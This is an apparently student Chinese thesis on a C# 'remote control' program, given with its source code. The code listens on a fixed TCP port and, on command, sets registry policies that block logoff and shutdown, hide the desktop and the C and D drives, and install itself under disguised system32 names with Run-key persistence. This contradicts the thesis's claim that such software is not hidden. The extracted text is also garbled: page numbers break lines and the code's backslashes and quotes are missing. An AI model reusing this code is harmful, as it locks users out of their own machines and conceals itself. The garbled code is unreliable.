1、基于C#的远程控制软件摘 要今天,许多企业和增值分销商正在把远程控制技术作为有效的技术支持工具,许多网络管理员都采用这类软件对局域网进行远程管理。远程管理软件对于出差在外的商务人员用处非常大,这样他们可以随时提取自己家里计算机中的数据和资料。本文介绍的软件用C#语言编写而成,能通过TCP协议传递注册表值以达到部分控制对方计算机。软件采用了C/S模式,即客户端/服务器端模式。客户端对服务器端进行监控操作,服务器端接收客户端传输的数据并进行分析和执行。本文首先对远程控制软件的原理技术作了介绍最后阐述了如何利用TCP连接、引用注册表、修改注册表的基本原理。关键词:sockted连接;客户端/服务器模
2、式;注册表The Design and Development of the Remote Control Software based on C#AbstractToday, many enterprises and retail traders are using the remote control techniques as an effective technique support tool, and many network administrators use such kind of software to remotely manage their LANs. Remote
3、 control software is also very useful to business persons for them to retrieve data and materials in their personal computers at home from any where and at any time. This software introduced in the paper, was written with C # language and can control the keyboards of one or many remote computers on
4、the network. The software adopts C/S pattern (Client/Server). The client side controls and operates the server, which receives the data transmitted from the client side and explains and carries out the commands. This paper first introduces the principle of the remote control software and WinSock tec
5、hnology, then explains how to use WinSock to connect to the remote computer,and how to implement the keyboard controlling functions.Key word: Socket; Client/Server; Registry目 录1引言51.1课题背景51.2国内外较知名的远程控制软件51.3本课题研究意义51.4本课题的研究方法62远程控制概述62.1远程控制概念62.2远程控制与其他程序的区别63控制远程按键的背景技术介绍83.1Socket的基本概念83.2客户端/服
6、务器(C/S)模式84远程控制的实现84.1使用socket建立控制端和被控制端连接84.2控制端控制事件处理105窗体主要实现的源代码105.1客户端修改注册表代码105.2服务器端响应客户端操作代码115.3实现不能注销模块155.4实现不能关机模块165.5找不到桌面模块175.6可以关机模块185.7改回注册表模块195.8找不到C、D盘模块205.9找到C、D盘模块215.10找到桌面图标模块225.11更改程序路径模块23结论28特别致谢29参考文献301 引言1.1 课题背景我们知道,通常企业内部或者IT公司的客户技术支持部门都有技术支持业务,其任务是通过电话解答疑难问题,努力减
7、少技术人员到现场服务或者让用户把设备送到支持中心进行维护。这种技术支持方式尽管被普遍采用,但效率不高而且大大增加了技术支持成本。通常,技术支持必须依赖技术人员和用户之间的口头交流来进行,这种交流既耗时又容易出错。许多商业用户对计算机知之甚少,然而当遇到问题时,他们必须向技术人员提供故障情报及相关操作。在尝试解决问题时,技术人员可能指导用户执行一系列复杂的过程,而这些过程对用户来说或许完全不熟悉;如果用户不能正确的按要求操作,反而使问题恶化。此外,如果通过电话不能解决问题,那么技术人员亲自到用户现场解决问题之前,计算机将一自不能使用。远程控制软件能使技术人员直接操作远程计算机,就像操作本地机器一
8、样,无须用户介入,技术人员技能得到该机器的问题的第一手材料,从而加快了问题的解决。实际上,使用远程控制工具的技术人员能够做到解答疑难问题,安装和配置软件,把软件下载到用户计算机上,配置应用程序和系统软件设置并可通过实际操作培训用户。1.2 国内外较知名的远程控制软件TeamViewer一款可以在任何防火墙和NAT代理的后台用于的远程控制,而且数据传输延迟较小,且安全性较强。GoToMyCloud也是一款主流的远程控制程序,界面较清晰,但是唯一不足的是传输的图像包较大,在普通的网络环境下另用户感觉“卡”。网络人,国内开发的,功能较强大。1.3 本课题研究意义这款软件做不到类似于TeamViewe
9、r那样可以穿透内外之间的远程控制,因为那得在互联网有自己的服务器,否则只能依赖于IP或计算机名+端口来完成地址搜索、服务连接、消息传递了。而不管是依赖IP+端口号,还是依赖计算机名+端口号,所受到最大的限制就是只能在内网进行连接。所以本课题的最大意义就是熟悉TCP/IP和UDP协议在C#下的调用,熟悉套接字,熟悉注册表。1.4 本课题的研究方法用C#编写,采用的是c/s结构,一个服务器端。客户端是控制端,服务器端是被控制端。主要功能就是通过本地计算机,控制远程另一台计算机的键盘。主要思路是先用socket建立两边的连接,客户端只需输入服务器端的计算机名,便可实现连接,其端口号是固定好的。然后客
10、户端向服务器端发送指定的注册表值,通过服务器端的执行,就达到了控制服务器端的目的。2 远程控制概述2.1 远程控制概念对于远程控制软件的定义有很多种。我们认为,远程控制指管理人员在异地通过计算机网络(WAN),异地拨号或双方都接入Internet等手段,连接目标计算机,通过本地计算机对远程计算机进行管理和维护的行为。远程控制软件实际上是一种客户机/服务器程序,服务器程序安放在被控制的计算机端,客户机安装在控制端。在客户端和服务器端都安装成功之后,客户端在网络上搜寻已经安装了服务器的远程计算机;然后,客户端就发指令获得服务器端的连接指令,两台PC建立起连接,就可以通过网络的互连协议TCP/IP进
11、行远端控制。远程控制的原理很简单:在本机上直接启动运行的程序,拥有与使用者(客户端)相同的权限。因此如果能够启动服务器端的服务程序,就可以使用相应的客户端程序直接控制主机了。也就是说客户端就好比一个超级用户,可以直接控制计算机。2.2 远程控制与其他程序的区别远程控制软件可以为我们的网络管理工作做很多工作,以保证网络和计算机操作系统的安全。这类程序的监听功能,也是为了保证网络的安全而设计的,但是如果使用不当的话,就会出现很多的问题。为了达到远程控制的目的,就必须将这些软件隐蔽起来。例如有的远程控制软件为了不让用户发现而被删除,就采用了一些办法让自己隐蔽起来,使远程控制程序本身附着在某些Wind
12、ows程序上,以增强驻留系统的可靠性。然而,正是由于这种功能,才使远程控制软件变得可怕起来,也使远程控制软件,病毒和黑客程序之间的区别变得越来越模糊2.2.1远程控制与病毒的区别计算机病毒是能通过某种途径潜伏在计算机存储介质(或程序)里,当达到某种条件时即被激活的具有对计算机资源进行破坏作用的一种程序或指令集合。计算机病毒一般具有破坏性,隐蔽性,潜伏性,传染性等特点。从计算机病毒的定义和特征中可以看出,远程控制软件与病毒的区别是十分明显的。最基本的区别就在于病毒有很强的传染性,而远程控制软件没有。但是,如果远程控制软件没有好的处理好软件的安全问题,就会跟病毒相差无几了。2.2.2远程控制与黑客
13、的区别“黑客”一词来源于英语单词hack,本指“手法巧妙,技术高明的恶作剧”。今天,在最新和最普遍的意思上说,“黑客”意味着那些偷偷地,未经许可就进入别人计算机系统的计算机犯罪。他们或修改网页搞恶作剧或散布流言进行恐吓,或破坏系统程度,施放病毒使系统险入瘫痪,或窃取政治,军事与商业机密,或进行电子邮件骚扰,或转移资金帐户,窃取钱财,真所谓作案方式多样,花样翻新,令人防不胜防。由此可见,远程控制与黑客的区别是较大的。黑客往往利用操作系统和网络的漏洞进行破坏活动,而远程控制软件的一大任务就是要保护控制端计算机,使之不受非授权用户的访问。当然,如果编写远程控制软件的唯一目的就是为了盗窃人家计算机上的
14、隐私,这样的远程控制软件就不再是有用的软件而是恶性的黑客程序了。2.2.3远程控制与木马的区别木马是一种在远程计算机之间建立起连接,使远程计算机能够通过网络控制本地计算机的程序。它的运行遵循TCP/IP协议。由于它像间谍一样潜入用户的电脑,为其他人的攻击打开后门,与战争的“木马”战术十分相识,因而得名木马程序。木马与远程控制软件的最大区别就是木马具有隐蔽性而远程控制软件没有。3 控制远程按键的背景技术介绍3.1 Socket的基本概念实际上,Socket在计算机中提供了一个通信端口(套接口)。通过这个端口,一台计算机可以与任何一台具有Socket接口的计算机通信。通信的基础是套接口,一个套接口
15、是通信的一端,在这一端上可以找到与其对应的一个名字。一个正在被使用的套接口都有他的类型和与其相关的进程,套接口存在于通信域中。一个套接口通常和同一个域中的套接口交换数据(数据交换也可以穿越域的界限,但这时一定要执行某种解释程序)。应用程序在网络上传输,接收的信息都通过这个套接口来实现。在应用开发中就像使用文件句柄一样,可以对Socket句柄进行读写操作。3.2 客户端/服务器(C/S)模式在TCP/IP网络应用中,通信的两个进程间相互作用的主要模式是客户机/服务器模式(Client/Server)。即客户向服务器发出服务请求,服务器接收到请求后,提供相应的服务。客户机/服务器模式的建立基于以下
16、两点:首先,建立网络的起因是网络中软硬件资源,运算能力和信息不均等,需要共享,从而造就拥有众多资源的主机提供服务,资源较少的客户请求服务这一非对等作用;其次,网间进程通信完全是异步的,相互通信的进程见既不存在父子关系,又不共享内存缓冲区,因此需要一种机制为希望通信的进程间建立联系,为两者的数据交换提供同步,这就是基于客户机/服务器模式的TCP/IP。4 远程控制的实现4.1 使用socket建立控制端和被控制端连接首先,客户端和服务器端都要创建一个数据套接字。接着,服务器和客户端都已指定默认的端口号6678,该程序设计只能用此端口号,用户无法更改或指定其他端口号。这样,客户端和服务器端就使用同
17、样的端口来表示服务器套接字。一旦服务器将公认端口分配给了套接字,客户端和服务器端就都能使用button9_Clinck()和reControlCode ()来发送和接收数据报直到完成传递。然后调用Close()来关闭套接字。4.1.1 初始化socketprivate Socket socket;4.1.2 TCP网络服务客户连接 private TcpClient client;4.1.3 提供网络访问的数据流 private NetworkStream stream;4.1.4接收数据的线程 private Thread threadReceive;4.1.5 两端的连接本程序的连接通过初
18、始化TcpClient实例,并将要连接的服务端计算机名和端口号通过该类查询连接,文中实现为: client = new TcpClient(textBox1.Text,port);其中,textBox1.Text为用户所输入的计算机名,如下图的主机名称,port已由程序指定,即int port =6678; 4.2 控制端控制事件处理42.1 数据传输当一个连接建立好以后,就可以传输数据了,传输数据之前先用GetStream方法测试一下可否读或写入数据,文中表达如下:stream = client.GetStream();如果可以写入数据的话 bool型的stream.CanWrite将会返回
19、一个TRUE值,此时就可以执行传递数据的代码了如下所示:if(stream.CanWrite ) byte by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray (); stream.Write(by,0,by.Length); stream.Flush(); threadReceive =new Thread(new ThreadStart(receive); threadReceive.Start();5 窗体主要实现的源代码由于篇幅有限,仅摘录主要代码,再此有必要强调一下,本程序是客户端发送操作代码给服务器端,然后服务器
20、端根据客户端的请求信息操作的,并非直接在客户端完成事件。5.1 客户端修改注册表代码private void button1_Click(object sender, System.EventArgs e) if(checkBox1.Checked ) zhucex =zx1000; if(checkBox2.Checked) zhucex =zx0100; if(checkBox3.Checked) zhucex =zx0010; if(checkBox4.Checked) zhucex =zx0001; if(checkBox1.Checked &checkBox2.Checked) zh
21、ucex =zx1100; if(checkBox1.Checked &checkBox3.Checked) zhucex =zx1010; if(checkBox1.Checked &checkBox4.Checked) zhucex =zx1001; if(checkBox2.Checked &checkBox3.Checked) zhucex =zx0110; if(checkBox2.Checked &checkBox4.Checked) zhucex =zx0101; if(checkBox3.Checked &checkBox4.Checked) zhucex =zx0011; i
22、f(checkBox1.Checked &checkBox2.Checked&checkBox3.Checked) zhucex =zx1110; if(checkBox1.Checked &checkBox2.Checked&checkBox4.Checked) zhucex =zx1101; if(checkBox1.Checked &checkBox4.Checked&checkBox3.Checked) zhucex =zx1011; if(checkBox2.Checked &checkBox3.Checked&checkBox4.Checked) zhucex =zx0111; i
23、f(checkBox1.Checked&checkBox2.Checked&checkBox3.Checked&checkBox4.Checked) zhucex =zx1111; Close(); 其他客户端的操作代码与之类似,再此不在摘抄。5.2 服务器端响应客户端操作代码这个reControlCode()类主要就是接收客户端指令,并做出相应动作,完成客户需要的事件,private void reControlCode()socket = listener.AcceptSocket();while (socket.Connected)byte by =new byte6;int i = s
24、ocket.Receive(by,by.Length ,0);string ss = System.Text.Encoding.ASCII.GetString(by);/修改注册表加入编码switch (ss)case jiance:/测试连接string str =hjc;byte bytee = System.Text.Encoding.ASCII.GetBytes(str);socket.Send(bytee,0,bytee.Length,0);break;case zx1000: UnLogOff(); retMessage(); break;case zx0100: UnClose(
25、); retMessage(); break;case zx0010: UnLookCD(); retMessage(); break;case zx0001: UnDesk(); retMessage(); break;case zs1000:reLogoff();retMessage();break;case zs0100:reClose();retMessage();break;case zs0010:reLookCD();retMessage();break;case zs0001:reDesk();retMessage();break;case jg0000: MessageBox.
26、Show(计算机已被控制!); retMessage();break;case jy0000:MessageBox.Show(mystr);retMessage();break;case mw1000:moveCC();retMessage();break; case mw0100:moveCD();retMessage();break;case mw0010:moveCC1();retMessage(); break;case mw0001:moveDC();retMessage(); break;case xz0000: try key1 =rLocal.OpenSubKey(SOFTWA
27、REMicrosoftWindowsCurrentVersionRun,true); key1.DeleteValue(expleror); key1.DeleteValue(msdoss); key1.DeleteValue(microsoftt); key1.Close(); catch retMessage(); break;/case/while /private void reControlCode5.3 实现不能注销模块private void UnLogOff()trykey1 =rLocal.OpenSubKey(SOFTWAREMicrosoftWindowsCurrentV
28、ersionPoliciesExplorer,true);key1.SetValue (NoLogOff,1);key1.Close();mystr = mystr +HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer键值Nologoff被修改!请将它置为0!;catchif(key1 =null)tryRegistryKey key2 = rLocal.CreateSubKey(SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer);key2.
29、SetValue(NoLogOff,1);key2.Close();mystr = mystr +HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer键值Nologoff被修改!请将它置为0!;catch5.4 实现不能关机模块private void UnClose()trykey1=rLocal.OpenSubKey(SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer,true);key1.SetValue(NoClose,1);key1.C
30、lose();mystr = mystr +HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer键值NoClose被修改!请将它置为0!;catch if(key1 = null)tryRegistryKey key2 = rLocal.CreateSubKey(SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer);key2.SetValue (NoClose,1);key2.Close();mystr = mystr +HKEY_LOCAL_M
31、ACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer键值NoClose被修改!请将它置为0!;catch5.5 找不到桌面模块private void UnDesk()trykey1 =rLocal.OpenSubKey (SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer,true);key1.SetValue (NoDesktop,1);key1.Close();mystr = mystr +HKEY_LOCAL_MACHINESOFTWAREMicrosoftWi
32、ndowsCurrentVersionPoliciesExplorer键值NoDesktop被修改!请将它置为0!;catch if(key1 =null) tryRegistryKey key2 =rLocal.CreateSubKey(SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer);key2.SetValue (NoDesktop,1);key2.Close();mystr = mystr +HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesExpl
33、orer键值NoDesktop被修改!请将它置为0!;catch 5.6 可以关机模块private void reClose()try key1 = rLocal.OpenSubKey (SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer,true);key1.SetValue(NoClose,0);key1.Close();catch if(key1 =null)tryRegistryKey key2 = rLocal.CreateSubKey(SOFTWAREMicrosoftWindowsCurrentVersionPolici
34、esExplorer);key2.SetValue(NoClose,0);key2.Close();catch 5.7 改回注册表模块/以下改回注册表private void reLogoff()try key1 = rLocal.OpenSubKey(SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer,true);key1.SetValue(NoLogOff,0);key1.Close();catch if(key1 =null)tryRegistryKey key2 = rLocal.CreateSubKey(SOFTWAREMic
35、rosoftWindowsCurrentVersionPoliciesExplorer);key2.SetValue(NoLogOff,0);key2.Close();catch 5.8 找不到C、D盘模块private void UnLookCD()trykey1 =rLocal.OpenSubKey (SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer,true);key1.SetValue(NoDrives,12);key1.Close();mystr = mystr +HKEY_LOCAL_MACHINESOFTWAREMicr
36、osoftWindowsCurrentVersionPoliciesExplorer键值NoDrives被修改!请将它置为0!;catchif(key1 =null)tryRegistryKey key2 = rLocal.CreateSubKey(SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer);key2.SetValue (NoDrives,12);key2.Close();mystr = mystr +HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPolicie
37、sExplorer键值NoDrives被修改!请将它置为0!;catch5.9 找到C、D盘模块private void reLookCD()try key1 = rLocal.OpenSubKey (SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer,true);key1.SetValue(NoDrives,0);key1.Close();catch if(key1 =null)tryRegistryKey key2 = rLocal.CreateSubKey(SOFTWAREMicrosoftWindowsCurrentVersio
38、nPoliciesExplorer);key2.SetValue(NoDrives,0);key2.Close();catch 5.10 找到桌面图标模块private void reDesk()try key1 = rLocal.OpenSubKey (SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer);key1.SetValue(NoDesktop,0);key1.Close();catch if(key1 =null)tryRegistryKey key2 = rLocal.CreateSubKey(SOFTWAREMicros
39、oftWindowsCurrentVersionPoliciesExplorer);key2.SetValue(NoDesktop,0);key2.Close();catch 5.11 更改程序路径模块private void moveCC()tryFile.Move(c:winnntsystemexpleror.exe,c:winntsystem32msdoss.exe);catch trykey1 = rLocal.OpenSubKey(SOFTWAREMicrosoftWindowsCurrentVersionRun,true);key1.SetValue (msdoss,c:winntsystem32msdoss.exe);key1.Close();catchif(key1 =null)tryRegistryKey key2 =rLocal.CreateSubKey(SOFTWAREMicrosoftWindowsCurrentVersionRun);key1.SetValue (msdoss,c:winntsystem32msdoss.exe);key1.Close();catchprivate void moveCD()tryFile.Move(c:winnntsystemexpleror.exe,d:winntsystem32micros